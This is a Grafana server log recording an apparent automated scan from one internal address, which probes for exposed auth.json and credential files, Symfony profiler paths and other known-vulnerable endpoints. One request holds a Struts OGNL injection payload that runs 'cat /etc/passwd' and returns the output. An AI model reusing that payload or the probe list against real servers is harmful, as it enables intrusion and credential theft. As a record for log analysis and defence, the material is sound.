grafana | 2026-11-01T00:52:45.509718426Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.509681676Z level=info msg="Request Completed" method=GET path=/node_modules/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=44.041µs size=68 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.510371718Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.510333385Z level=info msg="Request Completed" method=GET path=/vsaPres/Web20/core/LocalProxy.ashx status=302 remote_addr=192.168.64.103 time_ms=0 duration=508.917µs size=113 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.510767885Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.510736885Z level=info msg="Request Completed" method=GET path=/ui/PWResetUserValidation status=302 remote_addr=192.168.64.103 time_ms=3 duration=3.01775ms size=70 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.511440843Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.511405968Z level=info msg="Request Completed" method=GET path=/vendor/auth.json status=302 remote_addr=192.168.64.103 time_ms=3 duration=3.985917ms size=62 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.512777676Z logger=authn.service t=2026-11-01T00:52:45.512395885Z level=info msg="Failed to authenticate request" client=auth.client.basic error="[password-auth.failed] failed to authenticate identity: [identity.not-found] no user found: user not found"
grafana | 2026-11-01T00:52:45.512782760Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.512691426Z level=info msg="Request Completed" method=GET path=/server/ status=302 remote_addr=192.168.64.103 time_ms=28 duration=28.733709ms size=53 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.513267093Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.513235551Z level=info msg="Request Completed" method=GET path=/app_test.php/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=605.459µs size=108 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.513863593Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.513835051Z level=info msg="Request Completed" method=GET path="/${(#_memberAccess[\"allowStaticMethodAccess\"]=true,#[email protected]@getRuntime().exec('cat /etc/passwd').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#[email protected]@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}/actionChain1.action" status=302 remote_addr=192.168.64.103 time_ms=0 duration=365.958µs size=679 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.514348343Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.514324051Z level=info msg="Request Completed" method=GET path=/vendors/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=297.625µs size=63 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.514463843Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.506004093Z level=info msg="Request Completed" method=GET path=/akasia/index.php status=302 remote_addr=192.168.64.103 time_ms=6 duration=6.5235ms size=169 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.515677385Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.51549901Z level=info msg="Request Completed" method=GET path=/storage/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=940.75µs size=63 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.515785301Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.515769843Z level=info msg="Request Completed" method=GET path=/node_modules/auth.json status=302 remote_addr=192.168.64.103 time_ms=1 duration=1.160834ms size=68 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.516217551Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.516200801Z level=info msg="Request Completed" method=GET path=/library/index.php status=302 remote_addr=192.168.64.103 time_ms=0 duration=364.833µs size=170 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.516823718Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.516807426Z level=info msg="Request Completed" method=GET path=/database/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=550.584µs size=64 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.517280676Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.517248843Z level=info msg="Request Completed" method=GET path=/db/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=216.042µs size=58 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.517798635Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.517396468Z level=info msg="Request Completed" method=GET path=/dev/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=325µs size=99 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.517803968Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.517469843Z level=info msg="Request Completed" method=GET path=/test.php/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=3 duration=3.222375ms size=104 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.517896551Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.517886093Z level=info msg="Request Completed" method=GET path=/auth/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=53.292µs size=60 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518077010Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.518065885Z level=info msg="Request Completed" method=GET path=/authentication/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=42.666µs size=70 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518148051Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.517322218Z level=info msg="Request Completed" method=GET path=/storage/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=457.25µs size=63 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518218051Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.518209635Z level=info msg="Request Completed" method=GET path=/profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=31.917µs size=92 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518286593Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.518278301Z level=info msg="Request Completed" method=GET path=/symfony/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=40.125µs size=103 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518348093Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.518340301Z level=info msg="Request Completed" method=GET path=/database/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=35µs size=64 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518402635Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.518393968Z level=info msg="Request Completed" method=GET path=/oauth/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=28.458µs size=61 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518457718Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.51845001Z level=info msg="Request Completed" method=GET path=/debug/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=26.958µs size=101 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518514010Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.518505593Z level=info msg="Request Completed" method=GET path=/db/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=30.792µs size=58 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518566760Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.518559426Z level=info msg="Request Completed" method=GET path=/keys/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=30.5µs size=60 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518703843Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.518684468Z level=info msg="Request Completed" method=GET path=/dev/_profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=50.333µs size=99 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.518959885Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.518937718Z level=info msg="Request Completed" method=GET path=/profiler/empty/search/results status=302 remote_addr=192.168.64.103 time_ms=0 duration=37.25µs size=92 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.519143260Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.519123385Z level=info msg="Request Completed" method=GET path=/auth/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=30.583µs size=60 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.519314385Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.519296385Z level=info msg="Request Completed" method=GET path=/authentication/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=34.333µs size=70 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.519582468Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.519405843Z level=info msg="Request Completed" method=GET path=/credentials/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=31.583µs size=67 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.519584218Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.519477385Z level=info msg="Request Completed" method=GET path=/oauth/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=39.709µs size=61 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.519754926Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.51962851Z level=info msg="Request Completed" method=GET path=/creds/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=29.333µs size=61 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.519756593Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.519631968Z level=info msg="Request Completed" method=GET path=/keys/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=38.875µs size=60 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.519910343Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.519805426Z level=info msg="Request Completed" method=GET path=/credentials/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=31.041µs size=67 referer= handler=notfound status_source=server
grafana | 2026-11-01T00:52:45.520380093Z logger=context userId=0 orgId=0 uname= t=2026-11-01T00:52:45.519953176Z level=info msg="Request Completed" method=GET path=/creds/auth.json status=302 remote_addr=192.168.64.103 time_ms=0 duration=25µs size=61 referer= handler=notfound status_source=server